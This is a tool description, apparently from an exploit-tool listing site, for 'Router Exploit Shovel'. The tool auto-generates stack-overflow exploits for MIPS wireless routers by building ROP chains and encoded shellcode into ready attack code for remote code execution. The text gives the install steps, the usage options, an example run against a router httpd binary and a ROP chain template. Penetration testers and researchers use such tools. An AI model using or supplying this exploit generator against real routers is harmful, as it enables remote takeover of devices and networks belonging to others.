Router Exploit Shovel

Automated Application Generation for Stack Overflow Types on Wireless Routers

Router exploits shovel is an automated application generation tool for stack overflow types on wireless routers. The tool implements the key functions of exploits, it can adapt to the length of the data padding on the stack, generate the ROP chain, generate the encoded shellcode, and finally assemble them into a complete attack code. The user only needs to attach the attack code to the overflow location of the POC to complete the Exploit of the remote code execution.

The tool supports MIPSel and MIPSeb.Run on Ubuntu 16.04 64bit.

Install

Make sure you have git, python3 and setuptools installed. Download source code from our Github:

root@kitploit:~
$ git clone https://github.com/arthastang/Router-Exploit-Shovel.git

Set up environment and install dependencies:

root@kitploit:~
$ cd Router-Exploit-Shovel/
$ python3 setup.py install

Usage

root@kitploit:~
$ python3 Router_Exploit_Shovel.py -h
Usage: Router_Exploit_Shovel.py [options]

Options:
  -h, --help            show this help message and exit
  -b BINARYFILEPATH, --binaryFile=BINARYFILEPATH
                        input binary file path
  --ba=BINARYBASEADDR, --binaryBaseAddr=BINARYBASEADDR
                        input binary base address,default=0x00400000
  -l LIBRARYFILEPATH, --libraryFile=LIBRARYFILEPATH
                        input libc file path
  --la=LIBRARYBASEADDR, --libraryBaseAddr=LIBRARYBASEADDR
                        input library base address,default=0x2aae2000
  -o OVERFLOWFUNCTIONPOINTOFFSET, --overflowPoint=OVERFLOWFUNCTIONPOINTOFFSET
                        input overflow function point offset
  --arch=ARCH           input architecture of elf files,[little] or
                        [big],default=big

For example:

root@kitploit:~
$ python3 Router_Exploit_Shovel.py -b test_binaries/mipseb-httpd -l test_binaries/libuClibc-0.9.30.so -o 0x00478584

ROP chain generation

This tool uses pattern to generate ROP chains. Extract patterns from common ROP exploitation procedure. Use regex matching to find available gadgets to fill up chain strings. Base64 encoding is to avoid duplicate character escapes. For example:

root@kitploit:~
chainString: (gadget2)(gadget1)BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB(sleep)CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC(call_code)DDDD(stack_gadget)\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44
